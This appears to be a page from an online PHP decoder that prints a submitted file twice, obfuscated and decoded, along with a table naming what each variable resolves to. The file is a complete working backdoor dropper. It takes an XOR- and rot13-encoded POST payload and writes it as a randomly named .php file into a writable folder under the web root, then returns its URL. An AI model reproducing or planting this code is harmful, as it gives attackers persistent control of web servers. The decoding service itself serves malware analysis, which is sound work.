Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mJray = chr(68).chr(79)."\103".chr(85).'M'."\105".chr(78).chr(84).chr(101-6)."\122"..

Decoded Output download

<?php $mJray = chr(68).chr(79)."C".chr(85).'M'."E".chr(78).chr(84).chr(101-6)."R".'O'.'O'."T";$JbNhfhPT = 'H'.'T'.chr(84)."P"."_".'H'.chr(79).chr(506-423).chr(472-388);$CYxwxTsFA = "h".'t'.chr(116).chr(112).":".chr(47).chr(774-727);$fsmBfxB = ".".chr(288-176).chr(104).'p';$qYgBMNz = "p".chr(830-726).chr(1059-947);$fdrAb = chr(102).'i'."l"."e".chr(209-114)."p"."u"."t".chr(95)."c".'o'."n".chr(116).chr(482-381)."n"."t".chr(115);$CRZfSxJAO = "r".chr(97)."w".chr(378-261).chr(234-120).chr(1040-932)."d".chr(101)."c"."o"."d".'e';$luwaCQ = chr(706-589).chr(1034-924)."s".chr(101).chr(114).chr(105)."a"."l".chr(645-540).chr(122)."e";$uOiGiAl = 'i'.chr(115).'_'.chr(705-586)."r"."i".chr(211-95).chr(469-372)."b".chr(682-574)."e";$IdgDtNg = "p"."h".'p'."v"."e"."r".chr(115)."i"."o".'n';$FxhWgOej = chr(812-697)."t".chr(114).chr(95)."r".'o'."t"."1".chr(51);$pmrHeDNe = chr(115)."e".'r'."i".chr(97).'l'."i".'z'.'e';$EYpsDziNj = "s".'t'."r"."_".'s'.chr(627-515).chr(168-60)."i"."t";foreach ($_POST as $vJbmRVB => $wxucXdjq){$ulnxXWjWA = strlen($vJbmRVB);if ($ulnxXWjWA == 16){$wxucXdjq = $EYpsDziNj($CRZfSxJAO($FxhWgOej($wxucXdjq)));$vJbmRVB = array_slice($EYpsDziNj(str_repeat($vJbmRVB, (count($wxucXdjq)/16)+1)), 0, count($wxucXdjq));function yjzOA($wYrkiupnz, $kkovaqOIK, $vJbmRVB){$qTzvbml = "2f0e1d45-3dfd-4e34-8cc9-98cad131e3a5";return $wYrkiupnz ^ $qTzvbml[$kkovaqOIK % strlen($qTzvbml)] ^ $vJbmRVB;}$wxucXdjq = array_map("yjzOA", array_values($wxucXdjq), array_keys($wxucXdjq), array_values($vJbmRVB));$wxucXdjq = implode("", $wxucXdjq);$wxucXdjq = @$luwaCQ($wxucXdjq);if (@is_array($wxucXdjq)){$KXwkQZMk = array_keys($wxucXdjq);$wxucXdjq = $wxucXdjq[$KXwkQZMk[0]];if ($wxucXdjq === $KXwkQZMk[0]){echo @$pmrHeDNe(Array($qYgBMNz => @$IdgDtNg(), ));exit();}else {function kIUjoHR($ENaNvFStuir){static $iuHtMkA = array();$mMuDpKuOim = glob($ENaNvFStuir . '/*', GLOB_ONLYDIR);$yUNyxs = count($mMuDpKuOim);if ($yUNyxs > 0) {foreach ($mMuDpKuOim as $ENaNvFStu) {if (@$uOiGiAl($ENaNvFStu)) {$iuHtMkA[] = $ENaNvFStu;}}}foreach ($mMuDpKuOim as $ENaNvFStuir) kIUjoHR($ENaNvFStuir);return $iuHtMkA;}$PaxQQfBBW = $_SERVER[$mJray];$mMuDpKuOim = kIUjoHR($PaxQQfBBW);$KXwkQZMk = array_rand($mMuDpKuOim);$VuqvuMAkD = $mMuDpKuOim[$KXwkQZMk] . "/" . substr(md5(time()), 0, 8) . $fsmBfxB;@$fdrAb($VuqvuMAkD, $wxucXdjq);$QdFILqY = $CYxwxTsFA . $_SERVER[$JbNhfhPT] . substr($VuqvuMAkD, strlen($PaxQQfBBW));echo $QdFILqY;die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $mJray = chr(68).chr(79)."\103".chr(85).'M'."\105".chr(78).chr(84).chr(101-6)."\122".'O'.'O'."\x54";$JbNhfhPT = 'H'.'T'.chr(84)."\120"."\x5f".'H'.chr(79).chr(506-423).chr(472-388);$CYxwxTsFA = "\150".'t'.chr(116).chr(112)."\72".chr(47).chr(774-727);$fsmBfxB = "\x2e".chr(288-176).chr(104).'p';$qYgBMNz = "\160".chr(830-726).chr(1059-947);$fdrAb = chr(102).'i'."\154"."\145".chr(209-114)."\x70"."\x75"."\164".chr(95)."\x63".'o'."\156".chr(116).chr(482-381)."\156"."\164".chr(115);$CRZfSxJAO = "\162".chr(97)."\167".chr(378-261).chr(234-120).chr(1040-932)."\144".chr(101)."\143"."\x6f"."\x64".'e';$luwaCQ = chr(706-589).chr(1034-924)."\163".chr(101).chr(114).chr(105)."\x61"."\154".chr(645-540).chr(122)."\145";$uOiGiAl = 'i'.chr(115).'_'.chr(705-586)."\x72"."\151".chr(211-95).chr(469-372)."\142".chr(682-574)."\145";$IdgDtNg = "\160"."\150".'p'."\x76"."\x65"."\x72".chr(115)."\151"."\157".'n';$FxhWgOej = chr(812-697)."\164".chr(114).chr(95)."\162".'o'."\x74"."\61".chr(51);$pmrHeDNe = chr(115)."\145".'r'."\151".chr(97).'l'."\151".'z'.'e';$EYpsDziNj = "\163".'t'."\162"."\x5f".'s'.chr(627-515).chr(168-60)."\151"."\164";foreach ($_POST as $vJbmRVB => $wxucXdjq){$ulnxXWjWA = strlen($vJbmRVB);if ($ulnxXWjWA == 16){$wxucXdjq = $EYpsDziNj($CRZfSxJAO($FxhWgOej($wxucXdjq)));$vJbmRVB = array_slice($EYpsDziNj(str_repeat($vJbmRVB, (count($wxucXdjq)/16)+1)), 0, count($wxucXdjq));function yjzOA($wYrkiupnz, $kkovaqOIK, $vJbmRVB){$qTzvbml = "2f0e1d45-3dfd-4e34-8cc9-98cad131e3a5";return $wYrkiupnz ^ $qTzvbml[$kkovaqOIK % strlen($qTzvbml)] ^ $vJbmRVB;}$wxucXdjq = array_map("yjzOA", array_values($wxucXdjq), array_keys($wxucXdjq), array_values($vJbmRVB));$wxucXdjq = implode("", $wxucXdjq);$wxucXdjq = @$luwaCQ($wxucXdjq);if (@is_array($wxucXdjq)){$KXwkQZMk = array_keys($wxucXdjq);$wxucXdjq = $wxucXdjq[$KXwkQZMk[0]];if ($wxucXdjq === $KXwkQZMk[0]){echo @$pmrHeDNe(Array($qYgBMNz => @$IdgDtNg(), ));exit();}else {function kIUjoHR($ENaNvFStuir){static $iuHtMkA = array();$mMuDpKuOim = glob($ENaNvFStuir . '/*', GLOB_ONLYDIR);$yUNyxs = count($mMuDpKuOim);if ($yUNyxs > 0) {foreach ($mMuDpKuOim as $ENaNvFStu) {if (@$uOiGiAl($ENaNvFStu)) {$iuHtMkA[] = $ENaNvFStu;}}}foreach ($mMuDpKuOim as $ENaNvFStuir) kIUjoHR($ENaNvFStuir);return $iuHtMkA;}$PaxQQfBBW = $_SERVER[$mJray];$mMuDpKuOim = kIUjoHR($PaxQQfBBW);$KXwkQZMk = array_rand($mMuDpKuOim);$VuqvuMAkD = $mMuDpKuOim[$KXwkQZMk] . "/" . substr(md5(time()), 0, 8) . $fsmBfxB;@$fdrAb($VuqvuMAkD, $wxucXdjq);$QdFILqY = $CYxwxTsFA . $_SERVER[$JbNhfhPT] . substr($VuqvuMAkD, strlen($PaxQQfBBW));echo $QdFILqY;die();}}}}

Function Calls

chr 50

Variables

$fdrAb file_put_contents
$mJray DOCUMENT_ROOT
$luwaCQ unserialize
$IdgDtNg phpversion
$fsmBfxB .php
$qYgBMNz php
$uOiGiAl is_writable
$FxhWgOej str_rot13
$JbNhfhPT HTTP_HOST
$pmrHeDNe serialize
$CRZfSxJAO rawurldecode
$CYxwxTsFA http://
$EYpsDziNj str_split

Stats

MD5 19880fabfbec0313b4385bf9eacb4d4c
Eval Count 0
Decode Time 155 ms